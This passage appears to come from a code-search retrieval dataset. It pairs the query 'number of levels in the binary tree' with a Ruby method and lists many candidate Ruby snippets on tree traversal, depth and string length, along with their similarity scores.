end\n end\n end", "def all_nodes\n nodes = []\n visit_nodes do |node|\n nodes.push node\n end\n nodes\n end", "def tree_by_levels(node)\n return [] if node.nil?\n queue = [node]\n visited = []\n while !queue.empty?\n node = queue.shift\n visited << node.value\n [node.left, node.right].each do |child|\n queue << child if child\n end\n end\n visited\nend", "def level_order\n return nil if root.nil?\n\n q = [root] # queue for breath-first traversal\n level_order_array = []\n until q.empty?\n node = q.shift\n q.push(node.left) unless node.left.nil?\n q.push(node.right) unless node.right.nil?\n level_order_array.push(node)\n yield node if block_given?\n end\n level_order_array\n end", "def bfs(target)\n q = [self]\n until q.empty?\n shifted = q.shift\n return shifted if shifted.value == target\n q += shifted.children\n # debugger\n end\n nil\n end", "def nodes\n @nodes = [] if !instance_variable_defined?(:@nodes) or @nodes.nil?\n @nodes\n end", "def preorder\n return [] if @root == nil\n return preorder_helper(@root, [])\n end", "def preorder\n preordred_array = []\n if @root != nil\n preorder_helper(@root, preordred_array)\n end\n return preordred_array\n end", "def traverse\n @result.clear\n @queue.clear\n\n @queue.enqueue(@node)\n @result.push @node\n\n\n while not @queue.empty?\n node = @queue.dequeue\n return @result unless node\n # puts \"Visiting node: #{node}\"\n return node if (@search and node==@search)\n node && node.children.each do |node|\n unless @result.include?(node)\n @result.push(node)\n @queue.enqueue(node)\n end\n end\n end\n return result\n end", "def get_results(with_root = false)\n ret = []\n\n # Iterate over all occupied descendants and create chain data\n @occupied_descendants.each do |node|\n ret << [node.data, node.get_chain(with_root)]\n end\n\n # Return\n ret\n end", "def preorder\n arr = []\n if @root.nil?\n return arr\n end \n current_node = @root\n return preorder_helper(current_node, arr)\n end", "def inorder\n arr = []\n if @root.nil?\n return arr\n end \n current_node = @root\n return inorder_helper(current_node, arr)\n end", "def to_a\n @nodes\n end", "def in_order(node = root, array = [])\n return if node.nil?\n\n in_order(node.left, array) # traverse the whole left tree first\n array << node.data # then push the node into the array when it reaches the leaf node\n in_order(node.right, array) # then traverse the whole right tree\n array\n end", "def bfs_search(root)\n queue = []\n\n root.marked = true\n queue.push(root)\n\n while queue.length != 0\n current = queue.shift\n visit(current)\n\n current.adjacent.each do |node|\n if !node.marked\n node.marked = true\n queue.push(node)\n end\n end\n end\nend", "def breadth_first_search(find,tree)\n current = tree[0]\n answer = \"\"\n queue = []\n visited = [tree[0]]\n \n condition = false\n until condition == true\n connections = [current.find_right_child[0],current.find_left_child[0]].compact\n if current.value == find\n answer = current\n condition = true\n elsif visited.count == tree.count\n answer = nil\n condition = true\n else\n connections.each do |i|\n if i.value == find\n answer = i\n condition = true\n elsif !visited.include?(i)\n visited.push(i)\n queue.push(i)\n end\n end\n end\n current = queue.shift\n end\n puts answer ? answer : \"Value not found!\"\n puts answer.value if answer != nil\nend", "def inorder\n ordered_array = []\n if @root != nil\n inorder_helper(@root, ordered_array)\n end\n return ordered_array\n end", "def nodes\n return @nodes if (not @nodes.nil? and @nodes.size > 0)\n init_nodes\n @nodes\n end", "def pre_order(root=@root, arr=[])\n return root if root.nil?\n arr << root.value\n pre_order(root.left_child, arr)\n pre_order(root.right_child, arr)\n arr\n end", "def postorder\n arr = []\n if @root.nil?\n return arr\n end \n current_node = @root\n return postorder_helper(current_node, arr)\n end", "def breadth_first_search(target)\n queue = Array.new\n queue.unshift(@root)\n\n while !queue.empty?\n\n element = queue.shift\n\n return element if element.value == target\n\n queue << element.leftchild if !element.leftchild.nil?\n queue << element.rightchild if !element.rightchild.nil?\n\n end\n\n return nil\n\n end", "def to_a\n ret = [self]\n if self.kids\n self.kids.each do |kid|\n kid.to_a.each {|node|\n ret.push node\n }\n end\n end\n ret\n end", "def to_a\n collect { |node| node.data }\n end", "def level_order(root)\n res = []\n return res if root.nil?\n queue = [root]\n tmp = [root.val]\n until queue.empty?\n res << tmp\n parent = queue\n queue = []\n tmp = []\n parent.each do |nodes|\n queue << nodes.left unless nodes.left.nil?\n queue << nodes.right unless nodes.right.nil?\n tmp << nodes.left.val unless nodes.left.nil?\n tmp << nodes.right.val unless nodes.right.nil?\n end\n end\n res\nend", "def in_order(root=@root, arr=[])\n return root if root.nil?\n in_order(root.left_child, arr)\n arr << root.value\n in_order(root.right_child, arr)\n arr\n end", "def breadth_first_search target_value, root=@root\n return nil if empty?\n\n queue = [root]\n\n until queue.empty?\n current = queue.shift\n\n # Return value if found\n return current if current.value == target_value\n\n # Add children to the queue, if they exist\n queue << current.left unless current.left.nil?\n queue << current.right unless current.right.nil?\n end\n\n # returns nil if value not found\n nil\n end", "def preorder(only_vals: true)\n preorder_array = preorder_traverse\n # Return only values or array of node objects.\n only_vals ? preorder_array.map(&:value) : preorder_array\n end", "def binary_tree_inorder_iterative(root)\n return if root.nil?\n\n stack = Array.new\n\n while (stack.length != 0 || root)\n if root\n stack.push(root)\n root = root.left\n else\n root = stack.pop()\n print \"#{root.value} \"\n root = root.right\n end\n end\nend", "def level_order(root)\n return [] if root.nil? #\"If there is no root return an empty array\"\n queue = [ root ] #\" Our Queue starts with the root inside of it\"\n level = [] #\"All nodes per level go here\"\n order = [] #\"Our return value for all levels\"\n children = [] # All the nodes children go here\"\n\n while queue.length > 0 #\"Until our queue is empty\"\n node = queue.shift #\"We must Shift(FIFO), Our current Node, and how we escape out of the loop\"\n level.push(node.val) #\"Collect the node's value, one by one\"\n\n children.push(node.left) if !node.left.nil? #\"Notice we push it into the children Array if there is a left child\"\n children.push(node.right) if !node.right.nil? #\"Same for the right child\"\n\n if queue.empty? #\"Important. Once the queue is empty we know the level is complete\"\n order.push(level) #\"Push our level into our Order Array and reset its value below\"\n level = [] \n\n if children.length > 0 #\"When the queue is empty(above) and IF there are children\"\n queue.push(*children) #\"We push the children into our Queue...we are ready for the next level, also notice we are using the spread operator to push the children in as arguements and not an array\"\n children = [] #\" Reset the children value.\n end\n end\n end\n\n return order #\"Once we are out of the loop we have collected all our levels\"\n\nend", "def inorder node=@root, &block\n dataArray = []\n dataArray << inorder(node.left,&block) if node.left?\n block_given? ? yield(node) : dataArray << node.data\n dataArray << inorder(node.right,&block) if node.right?\n unless block_given?\n return dataArray.flatten\n end\n end", "def inorder_traversal(root, values = [])\n if root.left || root.right\n inorder_traversal(root.left, values) if root.left\n values << root.value\n inorder_traversal(root.right, values) if root.right\n else\n values << root.value\n end\n\n values\nend", "def get_feature_values_roots()\n @trees ||= self.category.self_and_ancestors.collect { |cat| [cat, Feature.node_roots(:include => :feature_values, :conditions => [\"features.category_id=? AND feature_values.product_id =?\", cat.id, id])] }\n end", "def post_order_traverse(tree, array)\n if !tree.nil?\n post_order_traverse(tree.left, array)\n post_order_traverse(tree.right, array)\n array.append(tree.value)\n end\n \n return array\n\nend" ]
[ "0.7739973", "0.7470075", "0.7301787", "0.7235261", "0.7193675", "0.715518", "0.7110694", "0.70759076", "0.7072268", "0.6938686", "0.69078094", "0.6819643", "0.67454106", "0.6710788", "0.66445833", "0.66087765", "0.65865344", "0.6582494", "0.6518734", "0.6475558", "0.6470963", "0.64495057", "0.6441646", "0.6416916", "0.6409202", "0.636559", "0.6306948", "0.6303246", "0.62719136", "0.62593544", "0.62564343", "0.62378186", "0.623722", "0.6232857", "0.62291104", "0.6225624", "0.6192673", "0.61893904", "0.6173274", "0.6166759", "0.61601186", "0.6122621", "0.6117506", "0.61140877", "0.6113756", "0.6113579", "0.61058336", "0.6089623", "0.60893387", "0.60733515", "0.60679126", "0.60586363", "0.6053336", "0.603906", "0.6027542", "0.6018227", "0.6017519", "0.6016288", "0.60139215", "0.60128903", "0.60108644", "0.6006009", "0.59993887", "0.59932995", "0.59879154", "0.5987839", "0.59872955", "0.5981934", "0.5979132", "0.59684163", "0.5967385", "0.59616375", "0.5951555", "0.5951405", "0.59343565", "0.5932889", "0.59296936", "0.59227604", "0.591543", "0.59108585", "0.5910218", "0.59091187", "0.5906194", "0.5900212", "0.5895589", "0.5893931", "0.5893135", "0.58881146", "0.5886926", "0.5884018", "0.5882801", "0.5879614", "0.5871817", "0.58680624", "0.5863661", "0.5856977", "0.58545905", "0.5853567", "0.5850022", "0.58445746" ]
0.7706944
1
Returns the number of levels in the binary tree
def num_tree_levels level = 0 num_nodes= all_node_values_with_nil.length # considers tree as 'complete num_nodes_in_full_tree = 2**level until num_nodes_in_full_tree >= num_nodes level += 1 num_nodes_in_full_tree += 2**level end num_tree_levels = level + 1 # (started count at 0) num_tree_levels = 0 if @root.nil? return num_tree_levels end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def length\n @tree.length\n end", "def level\n root? ? 0 : ancestors.count\n end", "def leaf_count\n @leaf_count\n end", "def level\n case\n when root? then 0\n when depth_column_could_be_used? then depth\n when parent_association_loaded? then parent.level + 1\n # @todo move it adapters\n else ancestors.size\n end\n end", "def count_structure_levels(obj)\n if obj.respond_to?(:keys)\n # empty hash also has depth 0.\n max_depth = 0\n obj.keys.each do |key|\n child_levels = 1 + count_structure_levels(obj[key])\n max_depth = [max_depth, child_levels].max\n end\n max_depth\n elsif obj.is_a?(Array)\n # empty array also has depth 0.\n max_depth = 0\n obj.each do |child|\n child_levels = 1 + count_structure_levels(child)\n max_depth = [max_depth, child_levels].max\n end\n max_depth\n else\n 0\n end\nend", "def size(tree)\n if isEmpty?(tree)\n 0\n else\n 1 + size(tree.left) + size(tree.right)\n end\nend", "def level\n return 0 if root?\n\n @parent.level + 1\n end", "def count_leaf_nodes(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_leaves = count_leaf_nodes(node.left_child)\n right_leaves = count_leaf_nodes(node.right_child)\n return left_leaves + right_leaves\n end\nend", "def size\n return @tree.size\n end", "def level\n return 0 if self[nested_set_parent].nil?\n sql = %Q( SELECT COUNT(t2.id) - 1 AS level\n FROM #{nested_set_class.table_name} AS t1, #{nested_set_class.table_name} AS t2\n WHERE t1.lft BETWEEN t2.lft AND t2.rgt AND t1.id = #{id} AND #{nested_set_scope} )\n nested_set_class.count_by_sql sql\n end", "def nodeCount\n count = 1\n\n if @children.size\n @children.each do |key, val|\n count += val.nodeCount\n end\n end\n\n count\n end", "def depth\n ancestors.count\n end", "def depth\n ancestors.count\n end", "def depth\n if empty?\n 0\n else\n if @left==nil || @right==nil\n if (@left==nil&&@right==nil) then 1\n else -1\n end\n else\n left, right = @left.depth, @right.depth\n if left==-1||right==-1||left!=right then -1\n else 1+left\n end\n end\n end\n end", "def num_children\n count = 0\n self.children.each do |child|\n count = count + child.num_children\n end\n\n return self.children.size + count\n end", "def depth\n breadcrumbs.size\n end", "def fulltree_count(*args)\n fulltree_rels(*args).size\n end", "def subtree_count(*args)\n subtree_rels(*args).size\n end", "def level\n if parent.nil?\n 0\n else\n parent.level + 1;\n end\n end", "def get_level\n level = 1\n p = parent\n while !p.nil?\n level += 1\n p = p.parent\n end\n \n return level\n end", "def depth\n @cur_level - @base_level + 1\n end", "def children_count\n 0 if @left.nil? && @right.nil?\n 1 if @left.nil? || @right.nil?\n 2\n end", "def children_depth\n leaf? ? 0 : children.map(&:depth).max\n end", "def orbit_count\n return 0 unless @root\n sum_of_depths = 0\n nodes_to_traverse = [{ node: @root, depth: 0 }]\n until nodes_to_traverse.empty?\n node_pair = nodes_to_traverse.shift\n node = node_pair[:node]\n depth = node_pair[:depth]\n sum_of_depths += depth\n node.children.each { |child| nodes_to_traverse << { node: child, depth: depth + 1 } }\n end\n sum_of_depths\n end", "def size(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_size = size(node.left_child)\n right_size = size(node.right_child)\n return left_size + 1 + right_size\n end\nend", "def size(root)\n leftCount = root.left ? size(root.left) : 0\n rightCount = root.right ? size(root.right) : 0\n return 1 + leftCount + rightCount\n end", "def count_child_nodes(hash = self)\n count = 0\n walk_tree(hash) do\n count += 1\n end\n count\n end", "def total_depth(node, depth = 0)\n @d = depth\n @d = @d + 1 if node.children.size > 0\n node.children.map{|c| x = total_depth(c,@d) - 1; @d = x if x > @d }\n return @d\nend", "def depth\n crumbs.size\n end", "def number_of_children\n @children.size\n end", "def depth(node, current = @root, count = 0)\n if current.eql?(node)\n return count\n elsif current.nil?\n return 0\n else\n count += 1\n count = [depth(node, current.left_node, count), depth(node, current.right_node, count)].max\n return count\n end\n end", "def depth\n return 0 unless has_children?\n children.inject(0) {|dep,c| dep > c.depth ? dep : c.depth} + 1\n end", "def full_tree_node_count(min_capacity)\n full_tree_leaf_count(min_capacity) * 2 - 1\n end", "def max_depth(root)\n return 0 if root.nil?\n left_height = max_depth(root.left)\n right_height = max_depth(root.right)\n return left_height > right_height ? left_height + 1 : right_height + 1;\nend", "def children_size\n leaf? ? 0 : children.map(&:size).reduce(:+)\n end", "def get_number_of_root_elements(elements)\n num = 0\n parent_field = @db_fields[:parent]\n elements.each do |e|\n num += 1 if e.send(parent_field) == 0\n end\n num\n end", "def num_nests\n my_nests.length\n end", "def count_children\n count = children.count\n if count\n children.each { |child| count += child.count_children }\n end\n count\n end", "def depth\n @breadcrumb.scan( \"/\" ).size\n end", "def nesting_levels\n return unless @options.fetch :folder_limit\n\n tree&.path_length || @options.fetch(:nesting_levels)\n end", "def descendants_count_bfs(options={})\n count = 0\n each_level_ids(options) do |level_ids|\n count += level_ids.count\n end\n return count\n end", "def max_level_depth\n MAXIMUM_LEVEL_DEPTH\n end", "def num_children\n `#@native.numChildren()`\n end", "def subtree_size(node)\n return 0 if node.nil?\n\n 1 + subtree_size(node.left) + subtree_size(node.right)\n end", "def node_depths(root)\n sum_of_depths = 0\n stack = [{\"node\"=> root, \"depth\"=> 0}]\n\n while stack.length > 0\n node_info = stack.pop()\n node, depth = node_info[\"node\"], node_info[\"depth\"]\n if node.nil?\n next\n end\n sum_of_depths += depth\n stack.append({\"node\"=> node.left, \"depth\"=> depth + 1})\n stack.append({\"node\"=> node.right, \"depth\"=> depth + 1})\n end\n return sum_of_depths\n\nend", "def node_depths(root, depth = 0)\n if root.nil?\n return 0\n end\n\n return depth + node_depths(root.left, depth + 1) + node_depths(root.right, depth + 1)\nend", "def total_node_number(tree)\n if tree.root == nil\n 0\n else\n left_tree = MyBinaryTree.new\n left_tree.root = tree.root.left_child\n right_tree = MyBinaryTree.new\n right_tree.root = tree.root.right_child\n 1+total_node_number(left_tree)+total_node_number(right_tree)\n end\nend", "def get_tree_height(d,cnt = 0 )\n \n if ( d['l'] == {} && d['r'] == {} )\n @depth = cnt if @depth < cnt\n else\n cnt = cnt + 1\n get_tree_height(d['l'],cnt) if d.key?('l')\n get_tree_height(d['r'],cnt) if d.key?('r')\n end\n \n return @depth\n \nend", "def num_children\n @children.size\n end", "def max_depth(root)\n return 0 if root.nil?\n\n left_depth = max_depth(root.left)\n right_depth = max_depth(root.right)\n\n (left_depth > right_depth ? left_depth : right_depth) + 1\nend", "def depth\n self.parents.size\n end", "def test_depth_of_method\n tree = BinarySearchTree.new\n tree.insert(50, \"movie a\")\n tree.insert(45, \"movie b\")\n tree.insert(40, \"movie c\")\n tree.insert(35, \"movie d\")\n assert_equal 3, tree.depth_of(35)\n end", "def recursive_binary_tree_height(node)\n return 0 if node.nil?\n left = recursive_binary_tree_height(node.left)\n right = recursive_binary_tree_height(node.right)\n [left, right].max + 1\nend", "def max_depth(root)\n return 0 if root.nil?\n\n left_result = max_depth(root.left)\n right_result = max_depth(root.right)\n\n return (left_result > right_result ? left_result : right_result) + 1\nend", "def depth\n children_depth + my_depth\n end", "def level\n return 0 if self[acts_as_nested_set_options[:parent_column]].nil?\n self.class.count(\"#{acts_as_nested_set_options[:scope]} AND (#{acts_as_nested_set_options[:left_column]} < #{self[acts_as_nested_set_options[:left_column]]} and #{acts_as_nested_set_options[:right_column]} > #{self[acts_as_nested_set_options[:right_column]]})\")\n end", "def height\n count_right = 0\n count_left = 0\n node = @root\n return count_left if node.nil?\n\n count_left = height_helper(node, 'left', count_left)\n count_right = height_helper(node, 'right', count_right)\n if count_right > count_left\n count_right\n else\n count_left\n end\n end", "def leaves_count(root)\n if root.nil?\n puts 'Empty tree'\n return\n end\n return 1 if (!root.left && !root.right)\n leaves_count = 0\n queue = QueueWithLinkedList.new\n queue.enqueue(root)\n while !queue.isEmpty?\n node = queue.dequeue\n leaves_count += 1 if !node.left && !node.right\n queue.enqueue(node.left) if node.left\n queue.enqueue(node.right) if node.right\n end\n leaves_count\n end", "def countDown(root = @root)\r\n #if there are no children, return one to count that node\r\n return 1 if not root.children.any?\r\n #array to store each possible depth\r\n branches = []\r\n root.children.each do | child |\r\n #recursively find each child and add one for each\r\n branches.push(countDown(child) + 1)\r\n end \r\n #all possible depthes are in branches, return the deepest\r\n return branches.max\r\n end", "def height\n count = 0\n if @root != nil\n count = height_helper(@root)\n end\n return count\n end", "def max_depth root\n return 0 if root == nil\n\n [max_depth(root.left), max_depth(root.right)].max + 1\nend", "def number_of_parents\n if self.is_parent\n return 0\n else\n return 1 + self.parent.number_of_parents\n end\n end", "def max_depth(root)\n return 0 if root.nil?\n left_depth = max_depth(root.left)\n right_depth = max_depth(root.right)\n [left_depth, right_depth].max + 1\nend", "def height(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_height = height(node.left_child)\n right_height = height(node.right_child)\n if left_height >= right_height\n return left_height + 1\n else\n return right_height + 1\n end\n end\nend", "def count_num_trees\n print 'Please enter the upper number :: '\n num_keys = gets.chomp.to_i\n sum = count_num_trees_supp(num_keys)\n puts \"Possible different binary trees having unique structure :: #{sum}\"\n end", "def _num_of_children(root)\n return [ 0, nil, nil ] if root.nil?\n #\n n = root.lnode.nil? ? 0 : 1\n n += root.rnode.nil? ? 0 : 1\n [n, root.lnode, root.rnode]\n end", "def height\n return 0 if @root == nil\n t, result = @root, -1\n while t\n t = t.left\n result += 1\n end\n result\n end", "def level\n length = 0\n cursor = self\n while cursor.parent_document\n length += 1\n cursor = cursor.parent_document\n end\n length\n end", "def height(current = @root)\n # If the current node is nil return 0\n # Otherwise return 1 plus the maximum of the heights of the right and left subtrees\n return 0 if current.nil?\n left = height(current.left)\n right = height(current.right)\n left >= right ? 1 + left : 1 + right \n end", "def depth\n return call_ancestry_method(:depth) if use_ancestry?\n\n rel = relationship(:raise_on_multiple => true) # TODO: Handle multiple nodes with a way to detect which node you want\n rel.nil? ? 0 : rel.depth\n end", "def level\n\t\tlevel = 0\n\t\t@classes.each do |_class|\n\t\t\tlevel += _class.level\n\t\tend\n\t\tlevel\n\tend", "def count_children(node)\n\t\treturn 0 if node.children.nil?\n\t\tnode.children.count + (node.children.map {|child| count_children(child)}).inject(&:+)\n\tend", "def depth\n self.ancestors.size\n end", "def height_nodes(root)\n return 0 if root == nil\n\n left = height_nodes(root.left)\n right = height_nodes(root.right)\n\n if left > right\n h = 1 + left\n else\n h = 1 + right\n end\n\n return h\n\nend", "def depth\n node = @kids.max {|k, j| k.depth <=> j.depth }\n node.depth + 1\n end", "def length\n @children.length\n end", "def test_depth_three_levels\n @tree.insert(\"c\")\n @tree.insert(\"b\")\n @tree.insert(\"a\")\n assert_equal 2, @tree.depth_of?(\"a\")\n end", "def count_nodes(node = @root)\n node.children.map do |child_node|\n @node_count +=1\n # binding.pry if child_node.is_word\n count_nodes(child_node)\n end\n @node_count\n end", "def get_height_wid_recursion(node = root)\n if node.nil?\n return 0\n end\n ldepth = get_height_wid_recursion(node.left)\n rdepth = get_height_wid_recursion(node.right)\n depth = [ldepth, rdepth].max + 1\n return depth\n end", "def max_depth(root)\n return 0 if !root\n [max_depth(root.left), max_depth(root.right)].max + 1\nend", "def render_child_count(node = @tree.root)\n @stack.push(node)\n child_count = 0\n until @stack.empty?\n current_node = @stack.pop\n current_node.children.each do |child|\n @stack.push(child)\n child_count += 1\n end\n end\n child_count\n end", "def child_count(node, count = 0)\n return count if node.nil?\n if !node.is_a? Node\n child_count(find(node))\n else\n count += 1 if !node.left.nil?\n count += 1 if !node.right.nil?\n end\n count\n end", "def depth(root=@root)\n return 0 if root.nil? # height of an empty tree is 0\n _pre_order(root, [], nil).first\n end", "def depth(person)\n count = 0\n \n until person.ancestor == nil do\n person = person.ancestor\n count += 1\n end\n\n count\n end", "def height_with_recursion(root)\n return 0 unless root\n leftDepth = height_with_recursion(root.left)\n rightDepth = height_with_recursion(root.right)\n (leftDepth > rightDepth) ? leftDepth + 1 : rightDepth + 1\n end", "def levels(level_counter = 0)\n level_counter += 1\n #puts \"value: #{value}, level_counter: #{level_counter}\"\n\n if left.nil? && right.nil?\n return level_counter\n end\n\n left_levels = left ? left.levels(level_counter) : 0\n right_levels = right ? right.levels(level_counter) : 0\n\n if left_levels > right_levels\n return left_levels\n else\n return right_levels\n end\n end", "def depth\n level = 0\n scopelist=[]\n if (doe_scope == \"hvac\")\n scopelist = @hvacLevel\n else\n scopelist = @envelopeLevel\n end\n scopelist.each_index do |index|\n scopelist[index].each do |name|\n if (@commandName == name )\n level = index\n end\n end\n end\n return level\n end", "def max_depth(node)\n return 0 if node.nil?\n [max_depth(node.left), max_depth(node.right)].max + 1\nend", "def depth()\n #This is a stub, used for indexing\n end", "def size_without_recursion\n count = 0\n return 0 unless @root\n q = QueueWithLinkedList.new\n q.enqueue(@root)\n while !q.isEmpty?\n node = q.dequeue\n count += 1\n q.enqueue(node.left) if node.left\n q.enqueue(node.right) if node.right\n end\n count\n end", "def max_depth(root)\n return 0 if root.nil?\n [max_depth(root.left), max_depth(root.right)].max + 1\nend", "def calculate_num_children\n for x in @lattice do\n for c in @lattice.lower_covers[x] do\n if @irreducibles.contain?(c) then\n @num_children[x] += 1\n end\n end\n end\n end", "def depth_max; depths.max end", "def number_of_half_nodes_in_binary_tree(root)\n return 0 if !root\n count = 0\n queue = Queue.new()\n queue.enqueue(root)\n while(!queue.is_empty?)\n node = queue.dequeue\n\n count += 1 if (node.left_child && !node.right_child) || (!node.left_child && node.right_child)\n\n queue.enqueue(node.left_child) if node.left_child\n queue.enqueue(node.right_child) if node.right_child\n end\n count\nend", "def test_total_depth\n @t1 = @trees[\"((A,B),(C,D));\"]\n foo = parse_tree(@t1) # gets the root @node\n\n assert_equal 3, total_depth(foo, 0)\n\n @t2 = @trees[\"((raccoon:19.19959,bear:6.80041):0.84600,\n ((sea_lion:11.99700, seal:12.00300):7.52973, \n ((monkey:100.85930,cat:47.14069):20.59201,weasel:18.87953):2.09460):3.87382,dog:25.46154);\"]\n bar = parse_tree(@t2)\n\n assert_equal 6, total_depth(bar, 0)\n\n blorf = parse_tree(\"(A,B,C)\")\n assert_equal 1, total_depth(blorf,0)\n\n blorf2 = parse_tree(\"((A,B),(C,D),(E,F))\")\n assert_equal 4, total_depth(blorf2,0) \n end", "def children_count\n return (self[nested_set_right] - self[nested_set_left] - 1) / 2\n end", "def size\n @root and @root.size or 0\n end", "def level_count(*args) \n\tcase args[0]\n\twhen 0\n\t\tpersonal_average.size\n\twhen 1\n\t\tlocal_average.size\n\twhen 2\n\t\tglobal_average.size\n\twhen 3\n\t\tsuper_global_average.size\n\tend\n end", "def height\n return @tree_height\n end", "def min_depth\n return 0 if @poss.empty?\n @poss[0].length\n end" ]
[ "0.7820029", "0.75637954", "0.73583835", "0.73572165", "0.73358834", "0.7318168", "0.7289695", "0.72789776", "0.7276516", "0.72135735", "0.713046", "0.7125948", "0.7125948", "0.7102207", "0.70956147", "0.70953685", "0.7085641", "0.70844376", "0.7083465", "0.70783395", "0.70417804", "0.70246977", "0.7009556", "0.70065075", "0.6960219", "0.69434214", "0.6926671", "0.68929505", "0.6879034", "0.6862951", "0.68567634", "0.68491286", "0.6847415", "0.684522", "0.68303686", "0.6810128", "0.6799728", "0.6779976", "0.67767453", "0.6766425", "0.67334116", "0.6726952", "0.6725532", "0.672136", "0.6713831", "0.6713425", "0.67120004", "0.669034", "0.6687353", "0.66832405", "0.66827106", "0.6680098", "0.6669831", "0.66548723", "0.6649204", "0.6636392", "0.66333824", "0.66091484", "0.6598392", "0.65858567", "0.6585269", "0.6569283", "0.6523222", "0.65178144", "0.6510258", "0.6509573", "0.65083444", "0.6495609", "0.6492287", "0.64898336", "0.64897484", "0.64895284", "0.648811", "0.6477958", "0.6471744", "0.64654654", "0.6459005", "0.64575964", "0.6451127", "0.64478594", "0.64320517", "0.64213383", "0.6420384", "0.6419437", "0.64180684", "0.63957727", "0.6388", "0.6385409", "0.6377394", "0.63586247", "0.6354174", "0.63418764", "0.6338835", "0.63327646", "0.6330923", "0.6316679", "0.63026196", "0.62923205", "0.6278195", "0.6269228" ]
0.8804443
0
Returns the length of string for the node whose string representation is the longest among all nodes in the tree
def max_node_value_length max_length = 0 all_node_values_with_nil.each do |value| value_length = value.to_s.length max_length = value_length if value_length > max_length end return max_length end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def longest_string_length\n longest_string.size\n end", "def longest str\n\tstr.max_by(&:length)\nend", "def longest_string ar\n\tar.max_by(&:length)\nend", "def longest_string ar\n return ar.max_by(&:length)\nend", "def longest\n @strings.max { |a,b| a.length <=> b.length}\n end", "def longest_string\nend", "def longest_string array\n\tarray.max_by(&:length)\nend", "def longest_string \nend", "def longest_string array\n array.max_by(&:length)\nend", "def longest_string(array)\n\tarray.max_by(&:length)\nend", "def find_longest_path_length_to_leaf(source)\n longest = 0\n\n find_leaves.each do |a_leaf|\n begin\n temp_result = find_longest_path_length(source,a_leaf)\n rescue\n temp_result = 0\n end\n\n longest = [longest, temp_result].max if temp_result\n end\n\n longest\n end", "def longest_entry(words)\n return words.max_by(&:length)\n end", "def longest_distance()\n max = 0\n s = \"\"\n @edges.each do |city, dests|\n dests.each do |dest|\n if max < dest.distance\n max = dest.distance\n s = \"#{city} to #{dest.name}\"\n end\n end\n end\n \"Longest distance is #{max} from #{s}\"\n end", "def longest_string(str)\n str = str.split(\" \")\n longest = 0\n for st in str do\n if st.length > longest\n longest = st.length\n end\n end\n return longest\nend", "def find_max_path_length_recursively\n if self.outgoing_edges.exists?\n available_path_lengths = self.next_vertices.map do |vertex|\n [vertex.id, 1 + vertex.find_max_path_length_recursively]\n end\n longest = available_path_lengths.max{|a,b| a[1] <=> b[1]}[1]\n return longest\n else\n return 0;\n end\n end", "def longest(stringArray)\n return stringArray.max_by(&:length)\nend", "def longest_string string \n\tar = ['One','Two','Three','Four','Five']\n\tar.max_by(&:length)\nend", "def longest_string(string_array)\n string_array.max_by(&:length)\nend", "def get_longest_string\n current_longest = {@data[0] => @data[0].length}\n longest_value = @data[0] # BUG should read @data[0].length\n @data.each do |word|\n if word.length > longest_value\n current_longest = {word => word.length}\n longest_value = word.length\n end\n end\n current_longest\n end", "def longest_string\n walker.push(revision)\n shas = walker.map(&:oid)\n Shamazing.string_from_array(shas)\n end", "def length_of_longest_key\n keys = @hash.keys\n unless keys.empty?\n max_word = keys.max { |a, b| a.length <=> b.length }\n return max_word.length\n end\n end", "def longest_string list\n # longest = ''\n # list.each do |str|\n # if str.length > longest.length\n # longest = str\n # end\n # end\n # longest\n list.max_by{|i| i.length}\n # list.max_by(&:length)\nend", "def longestSub(str)\n\n\nend", "def longest(string)\n sliced = string.chars.slice_when {|a,b| a > b}.to_a\n longest = sliced.max_by {|sub_arr| sub_arr.length}.join\nend", "def length\n @tree.length\n end", "def longest (arr)\n arr.max_by {|str| str.length}\nend", "def longest_string(list)\n list.values.inject('') { |value, memo|\n\t(value.to_s.length > memo.to_s.length) ? value : memo\n }\n end", "def length_of_longest_substring(s)\n # find each substring and compare lengths\n # as i move through the string, have a store that keeps building until it finds a repeated character\nend", "def height\n longest_tree_path(@root)\n end", "def longest (string)\n length_string = getlength(string)\n string.each do |word|\n if word.length == length_string.max\n puts word\n end\n end\nend", "def longest_string(arr)\n arr.max_by { |word| word.length }\nend", "def longest_string(array_of_strings)\n answer=array_of_strings.max_by(&:length)\n return answer\nend", "def longest_string(list_of_words)\n list_of_words.max { |a,b| a.size <=> b.size }\n\nend", "def longest_string(list_of_words)\n\treturn list_of_words.max {|x,y| x.length <=> y.length}\nend", "def longest_string(list_of_words)\n list_of_words.max { |a, b| a.length <=> b.length }\n end", "def length_of_longest_substring(str) ## Does not pass LeetCode Test\n max_longest = ''\n current_longest = ''\n str.each_char do |letter|\n current_longest = \"\" if current_longest.index(letter)\n current_longest << letter \n max_longest = current_longest if current_longest.length > max_longest.length \n end\n max_longest.length \nend", "def find_longest(sorted_data, key)\n keys = sorted_data.map { |h| h[key].to_s }\n return keys.max_by(&:length).length\n end", "def longest(s)\n\tall_results = []\n\n\tlist_of_chars = s.chars\n\n\tlist_of_chars.each_with_index do |char, index|\n\n\t\tresult = ''\n\t\tnext_index = index + 1 \n\t\tcurrent_index = index\n\t\tresult << char\n\n\t\tif current_index == list_of_chars.length - 1\n\t\t\tall_results = all_results.max { |a,b| a.length <=> b.length }\n\t\telse\n\t\t loop do\n\t\t \tif list_of_chars[next_index] == nil\n\t\t \t\tall_results << result\n\t\t \t\tbreak\n\t\t\t\telsif list_of_chars[next_index] >= list_of_chars[current_index]\n\t\t\t\t\tresult << list_of_chars[next_index]\n\t\t\t\t\tcurrent_index += 1\n\t\t\t\t\tnext_index += 1\n\t\t\t\telse\n\t\t\t\t\tall_results << result\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\tall_results\nend", "def longest_path_1(edges)\nend", "def length(root)\n max = 0\n traverse(root,0) {|n, l| max = l if l > max }\n max\n end", "def longest(str)\n return str if str.length == 1\n current = str[0]\n longest = ''\n\n 1.upto(str.size-1) do |idx|\n if current[-1] <= str[idx]\n current += str[idx]\n else\n if current.length > longest.length\n longest = current\n end\n current = str[idx]\n end\n end\n\n if current.length > longest.length\n longest = current\n end\n\n longest\nend", "def 